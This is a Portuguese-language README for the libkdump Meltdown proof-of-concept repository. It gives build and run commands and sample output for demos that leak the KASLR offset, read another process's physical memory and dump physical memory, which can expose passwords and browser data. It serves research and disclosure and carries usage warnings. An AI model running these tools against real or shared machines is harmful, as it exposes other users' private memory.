
Demos de prova de conceito e biblioteca libkdump que demonstram o ataque microarquitetural Meltdown, vazando memória do kernel e memória física em CPUs Intel vulneráveis.
Este repositório contém várias aplicações que demonstram o bug Meltdown. Para informações técnicas sobre o bug, consulte o artigo:
As aplicações neste repositório são construídas com libkdump, uma biblioteca que desenvolvemos para o artigo. Esta biblioteca simplifica a exploração do bug ao adaptar-se automaticamente a certas propriedades do ambiente.
Este repositório contém vários vídeos que demonstram o Meltdown
Este repositório contém cinco demos para demonstrar diferentes casos de uso. Todos os demos são testados no Ubuntu 16.04 com um Intel Core i7-6700K, mas devem funcionar em qualquer sistema Linux com qualquer CPU Intel moderna desde 2010.
Para melhores resultados, recomendamos uma CPU rápida que suporte Intel TSX (por exemplo, qualquer Intel Core i7-5xxx, i7-6xxx ou i7-7xxx). Além disso, cada demo deve ser fixado a um núcleo de CPU, por exemplo, com taskset.
Como pré-requisito, você precisa instalar o glibc-static na sua máquina.
Para sistemas baseados em RPM:
sudo yum install -y glibc-static
test)Este é o demo mais básico. Ele usa o Meltdown para ler endereços acessíveis do próprio espaço de endereçamento, sem quebrar nenhum mecanismo de isolamento.
Se este demo não funcionar para você, os demos restantes provavelmente também não funcionarão. As razões são várias, por exemplo, a CPU pode ser muito lenta, não suportar execução fora de ordem, o temporizador de alta resolução não ser preciso o suficiente (especialmente em VMs), o sistema operacional não suportar manipuladores de sinais personalizados, etc.
make
taskset 0x1 ./test
Se você vir uma saída semelhante a esta
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
então o demo básico funciona.
kaslr)A partir do kernel Linux 4.12, o KASLR (Kernel Address Space Layout Randomizaton) está ativo por padrão. Isso significa que a localização do kernel (e também o mapa físico direto que mapeia toda a memória física) muda a cada reinicialização.
Este demo usa o Meltdown para vazar a randomização (secreta) do mapa físico direto. Este demo requer privilégios de root para acelerar o processo. O artigo descreve uma variante que não requer privilégios de root.
make
sudo taskset 0x1 ./kaslr
Após alguns segundos, você deverá ver algo semelhante a isto
[+] Direct physical map offset: 0xffff880000000000
reliability)Este demo testa quão confiavelmente a memória física pode ser lida. Para este demo, você precisa do deslocamento do mapa físico direto (por exemplo, do demo #2) ou precisa desabilitar o KASLR especificando nokaslr na linha de comando do kernel.
Compile e inicie reliability. Se você tiver o KASLR habilitado, o primeiro parâmetro é o deslocamento do mapa físico direto. Caso contrário, o programa não requer parâmetro.
make
sudo taskset 0x1 ./reliability 0xffff880000000000
Após alguns segundos, você deverá obter uma saída semelhante a esta:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)Este demo lê memória de um processo diferente lendo diretamente a memória física. Para este demo, você precisa do deslocamento do mapa físico direto (por exemplo, do demo #2) ou precisa desabilitar o KASLR especificando nokaslr na linha de comando do kernel.
Em princípio, este programa pode ler endereços físicos arbitrários. No entanto, como a memória física contém muitos dados não legíveis por humanos, fornecemos uma ferramenta de teste (secret), que coloca uma string legível por humanos na memória e fornece diretamente o endereço físico desta string.
Para o demo, primeiro execute secret (como root) para obter o endereço físico de uma string legível por humanos:
make
sudo ./secret
Ele deverá exibir algo como isto:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
Enquanto o programa secret estiver em execução, inicie physical_reader. O primeiro parâmetro é o endereço físico impresso por secret. Se você não tiver o KASLR desabilitado, o segundo parâmetro é o deslocamento do mapa físico direto.
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
Após alguns segundos, você deverá obter uma saída semelhante a esta:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)Este demo despeja o conteúdo da memória. Como os demos #3 e #4, ele usa o mapa físico direto para despejar o conteúdo da memória física em um formato semelhante a um hexdump.
Novamente, como a memória física contém muito conteúdo não legível por humanos, fornecemos uma ferramenta de teste para preencher grandes quantidades da memória física com strings legíveis por humanos.
Para o demo, primeiro execute memory_filler para preencher a memória com strings legíveis por humanos. O primeiro argumento é a quantidade de memória (em gigabytes) a preencher.
make
./memory_filler 9
Em seguida, execute a ferramenta memdump para despejar o conteúdo da memória. Se você executou memory_filler antes, deverá ver alguns fragmentos de string.
Se você tiver o Firefox ou Chrome com várias abas abertas, também poderá ver partes dos sites que estão abertos ou foram fechados recentemente.
O primeiro parâmetro é o endereço físico no qual o despejo deve começar (deixe vazio para começar no primeiro gigabyte). O segundo parâmetro é a quantidade de bytes que você deseja que sejam lidos; para ler tudo, forneça -1. Se você não tiver o KASLR desabilitado, o terceiro parâmetro é o deslocamento do mapa físico direto.
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
Você deverá obter um hexdump de partes da memória (potencialmente contendo até segredos como senhas, veja o exemplo no artigo), por exemplo:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
Funciona no Windows / Ubuntu no Windows (WSL) / Mac OS?
Não. Esta PoC só funciona no Linux, pois usa propriedades específicas do kernel Linux, como o mapa físico direto.
Posso executar a PoC em uma máquina virtual?
Sim, a PoC também funciona em máquinas virtuais. No entanto, devido à camada adicional introduzida por uma máquina virtual, pode não funcionar tão bem quanto em hardware nativo.
O programa KASLR (kaslr) não encontra o deslocamento!
A ferramenta kaslr faz apenas muito poucas medições para ser rápida. Se ela não encontrar o deslocamento, há duas possibilidades:
kaslr.c: config.retries = 1000;kaslr_offset para ler diretamente o deslocamento do kernel. Instale os cabeçalhos do kernel para o seu kernel (sudo apt-get install linux-headers-`uname -r` ) e execute sudo ./direct_physical_map.shVocê disse que funciona em memória não armazenada em cache, mas todos os seus demos garantem que a memória está em cache!
Fazer funcionar em memória não armazenada em cache é mais complicado e frequentemente requer um pouco de ajuste dos parâmetros. Assim, garantimos que a memória esteja em cache na PoC para facilitar a reprodução. No entanto, você pode simplesmente remover o código que armazena os valores em cache e substituí-lo por um clflush para testar o exploit em memória não armazenada em cache (veja o Vídeo #5 para um exemplo).
Embora não esteja no post original do blog do Google, isso também foi confirmado por pesquisadores independentes (por exemplo, , , ).
Aviso #1: Estamos fornecendo este código como está. Você é responsável por proteger a si mesmo, sua propriedade e dados, e outros, de quaisquer riscos causados por este código. Este código pode causar comportamento inesperado e indesejável na sua máquina. Este código pode não detectar a vulnerabilidade na sua máquina.
Aviso #2: Se você descobrir que um computador é suscetível ao bug Meltdown, talvez queira evitar usá-lo como um sistema multiusuário. O Meltdown viola a proteção de memória da CPU. Em uma máquina suscetível ao bug Meltdown, um processo pode ler todas as páginas usadas por outros processos ou pelo kernel.
Aviso #3: Este código é apenas para fins de teste. Não o execute em nenhum sistema produtivo. Não o execute em nenhum sistema que possa ser usado por outra pessoa ou entidade.
Simplesmente não funciona no meu computador, o que posso fazer?
Pode haver muitas razões diferentes para isso. Coletamos algumas coisas que você pode tentar:
libkdump/libkdump.c na linha #define MELTDOWN meltdown_nonull. Tente, por exemplo, meltdown em vez de meltdown_nonull, que funciona muito melhor em algumas máquinas (mas não funciona de forma alguma em outras).stress com stress -i 2 (ou outros valores para o parâmetro i, dependendo do número de núcleos).